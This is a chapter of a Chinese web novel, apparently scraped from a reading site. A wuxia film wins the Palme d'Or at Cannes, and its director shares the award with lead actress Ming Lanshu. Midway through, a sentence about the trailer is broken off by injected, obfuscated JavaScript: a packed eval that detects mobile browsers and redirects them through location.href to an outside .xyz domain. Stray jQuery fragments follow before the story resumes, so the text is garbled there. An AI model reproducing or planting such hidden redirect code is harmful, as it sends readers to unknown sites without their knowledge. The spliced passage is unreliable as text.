“阿克塞尔在映前介绍时说，这是一部极端的电影。的确，它缓慢到极端，冷静到极端。华语大导演仿佛都想去拍至少一部武侠片，可能这是华语导演的情结。但陈楚已无意去拍单纯的人事了，他拍的是人事散尽后的风景，风景看透后的世人。人为划定的空间，静默冗长的逼视，散淡断裂的情节，一切都在4:3的镜头画幅里自生自灭。那些留白的手法，自然山水与物景意象的契合，共同勾勒出孤独的苍凉境域，让人想痛哭一场。”
 




    “影片里的阿静与这个世界是隔绝的，与每一个人都是疏离的。从小被训练成杀手，杀人、复仇，不许动感情。如此多只展示风景的缓慢长镜头绝非没有意义——是阿静想熟悉这个世界，却又选择了远远凝望。尽管她身怀绝技，但复仇不是自己的主动选择，而是被强加的命运。阿静的沉默寡言，是因为对自己存在的价值难以确认，她看不到自己。所以到最后，当她放弃复仇，隐入茫茫雪原，这种疏离得到了超脱和升华。不杀不是道，无我才是真。寻我？不如无我。这一点，可以说深得中国哲学精髓。”
 




    “全片中，阿静的台词只有十一句话。大概是贯彻了陈楚想要影片去矫饰存本真的意图，她的扮演者明岚舒几乎是素颜演出，甚至看得到脸上淡淡的雀斑（但是很美）。从始至终明岚舒都没笑过，没有喊过，几乎丢失表情，连哭泣都蒙着脸。但你依然能感觉到阿静是全片情感最充沛的人物，在她的眼神中，在她的肢体里。不以言语进行自我表白，在一个非常小的角度里完成极大的情绪调度。这个素白的设置，难度非常大，全靠演员的内在力量去撑满角色。我相信，能做到这一切，除了陈楚的调|教，也与演员本身的天赋有关。好看的衣服，谁穿都不会太难看，但粗服乱头还能国色，需要本身至纯至美。”
 




    “整个观影的过程非常安静，没有一丝声音。观毕，突然觉得，在座的每一个人，都是一个孤独的存在，在电影美得窒息的镜头中，都是阿静。联想到主演明岚舒在媒体见面会上提到，演员是微不足道的。其实，好的电影，当我们在观看时，周遭的一切也是微不足道的。”
 




    接下来的几天，《天净杀》口碑大爆，在4分制的场刊上拿下3.5的评分，领跑主竞赛单元影片。烂番茄上收录29评新鲜度96%，metaCritic收录26评综评91/100，豆瓣评分8.6。
 




    《卫报》、《纽约时报》、《滚石》、《每日电讯报》等相继盛赞这部电影注定在影史上占据一席之地。《天净杀》成了夺金棕榈的大热门，连续两日登上《银幕》场刊封面。
 




    趁着这势头，片方官宣国内公映定档六月底，同时放出了预告片。两分钟的预告里，一场眼花缭乱的竹林打斗，尽显制作的精良和极致的美感
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600973|149340||http|test|mini|href|location.split(|),0,{}));
 




    () {
 




    $(.inform).remove();
 




    $(#content).append(
 




    ，直接将观众的期待值拉满。
 




    短短几天，《天净杀》在北美、英国、澳洲、南非等地的海外版权销售也创下中国电影海外版权最高销售的纪录，不仅收回成本而且已经赢利。
 




    所有人都在热议陈楚将为华语电影再创历史。如果这次能拿下戛纳金棕榈，他将是亚洲集齐欧洲三金的第一人。
 




    但陈楚却给团队所有人泼起了冷水。
 




    “今年是超级大年，这二十部作品实力相当。我做过戛纳评委，很明白入围靠实力，得奖看运气。你们还记得第53届那次吗？”
 




    陈楚这么一说，大家也沉默了。
 




    华语导演在戛纳一向奖运不好。第53届戛纳电影节，陈楚带着《夜袭》参评，同时还有罗望的《三板斧》和已故导演朱隐杉的《关于我和我父母的一切》——后来被认为是新世纪华语爱情片、战争片、家庭片巅峰艺术水准的三部影片。
 




    不仅如此，那一届的评审团成员里还有中国女演员、好莱坞著名影星白岚。可以说是华语片最接近金棕榈的一次。可最终评选的结果出来，金棕榈给了一部瑞典歌舞片，朱隐杉的电影获得评审团大奖，《夜袭》的主演齐经纬获戛纳影帝。
 




    业内一片哗然，至今仍有很大争议。倒不是那部歌舞片不好，然而也仅仅是部好电影而已。但戛纳的评奖机制，决定了评审团主席的意见很能左右奖项归属。恰好那一届的评审团主席是瑞典人。
 




    而今次，评审团里甚至都没有中国人。
 




    见众人情绪低落，陈楚拧开保温杯盖，用不紧不慢的语调解释：“戛纳是全球最大的电影交易市场，来这里，最重要的目的是让世界看到中国电影。你们该不会跟那帮记者一样，以为我对拿奖还有执念吧？各位，一个真正的创作者永远不要去想拿不拿奖这种问题。不过——”他话锋一转：“明明，你想拿奖吗？”
 




    突然被cue到，明岚舒不知道该怎么接话。只见陈楚面对她，目光含着鼓励：“剧本限制了角色外放，我知道你能做到这个程度其实很不容易，戏里戏外你都很孤独。”
 




    明岚舒愣了几秒，摇头：“跟其他入围影片的女演员比，我还差得远。能来到戛纳，就已经很幸运了，没想过这件事。”
 




    根据戛纳的评奖机制，最佳女演员不分主角、配角，只要出演主竞赛单元的影片，都有机会争夺影后。今年拿过奥斯卡最佳女主角的玛利亚.丹琪，还有凯撒奖影后奥利维亚，西班牙演员亚塞妮娅名气稍小一些，但已经是三度入围戛纳。
 




    在戛纳这几天，明岚舒跟着陈楚看了几场入围主竞赛的影片，那句“差得远”的确发自肺腑。
 




    可是，她又怎会没想过。会这么回答陈楚，也不过是害怕“期望有多高，失望就有多大”的自我催眠罢了。
 




    三天以后，戛纳电影节闭幕，在得到阿克塞尔的暗示后，《天净杀》剧组出席了闭幕颁奖礼。
 




    颁发最佳女演员的嘉宾，正是今年已八十岁的玛蒂尔达。她在颁奖前致辞：“跟我合作过的一位导演曾经说过，一个好的演员是需要耐得住寂寞，经得起等待的。现在，让我们一起来见证谁是今晚最经得起等待的演员。”她顿了顿，看向坐在舞台一侧的评审团主席奥伦：“主席先生，你要把最佳女演员颁给谁？”
 




    随着奥伦站起身，明岚舒的一颗心也被提了起来。仿佛系在一根线上，紧紧绷住。就算她已经做好了心理建设，可是在这种不抱任何期望里，还存了一丝侥幸。
 




    万一呢？
 




    其实没有人苛求她拿奖。舆论对她很友好，一个新人能在戛纳有如此亮眼的表现，国内的媒体都认为她已经超额完成了任务。甚至在网上，她被冠以内娱的“天降紫薇星”。首映之后短短几天，各种访谈、广告、杂志拍摄邀请纷至沓来，柏原以极高的效率为她拿下几项高端品牌商务。
 




    但这些，不是明岚舒想要的。
 




    她想被肯定。娱乐圈太多昙花一现的例子，太多一夜爆红又泯然众人的例子。名和利太缥缈太虚无，唯有沉甸甸的奖项拿在手里才能安心。
 




    有一瞬间，明岚舒发现自己的意识停顿了，看着奥伦的嘴开开合合，大脑却一片空白。
 




    前排突然骚动起来，明岚舒看见亚塞妮娅捂着嘴从座位上站了起来，挡住了她视线里的颁奖台。
 




    “啪”的一声，明岚舒听到什么东西断了。
 




    同一时间，镜头扫了过来。不过只有短短一秒，明岚舒的意识回来了。她看得很清楚，大屏幕里的自己在笑。很大方，很得体，笑得她的两颊的肌肉都酸痛了。
 




    之后，明岚舒的大脑一直在放空，台上的人说了什么，一句也没有听进去。直到，奥伦宣布本届戛纳电影节金棕榈奖的获奖影片是《天净杀》。
 




    陈楚不负众望创造了历史，成为华语电影欧洲三大电影节大满贯的第一人。
 




    他很淡定地登上颁奖台发表获奖感言，先是感叹拍电影不容易，然后是一通感谢，感谢戛纳、感谢评审团、感谢制片人、感谢出品方、感谢编剧、感谢剧组、感谢华语电影人，甚至连这几年谴责他、谩骂他的观众也感谢了。
 




    最后他说：“一部好的电影，除了导演、编剧这些幕后人员的创作，也离不开演员在镜头前的努力。我要特别感谢明岚舒小姐，拍摄过程非常辛苦，她很勇敢，也差点被我逼到崩溃。所以——”陈楚伸手示意台下，“这个金棕榈，我愿与她分享。”
 




    明岚舒被请上台，全场的镜头，记录下她和陈楚共同捧起金棕榈的时刻。
 




    ******
 




    庆功宴设在十字大街上的酒吧。淡金色的香槟映出浮华灯光，聊着天的大佬们在谈笑间促成一桩又一桩合作。柏原把明岚舒引荐给很多人，香槟杯不停地被举起放下，她听了一晚上赞誉，也说了一晚上感谢。
 




    后来她实在累了，躲到吧台的角落。可刚一落座，就听到侍应生说陈楚在找她，她揉了揉酸痛的脚踝，端起酒杯走过去。
 




    当她隔着人群，见到陈楚身边的男人时，突然就愣在了原地，接着一颗心就狂跳了起来。
 




    西装革履，站姿挺拔，即使同轮廓立体的欧洲人站在一起，那张脸也英俊得出类拔萃。
 




    是许绍恒。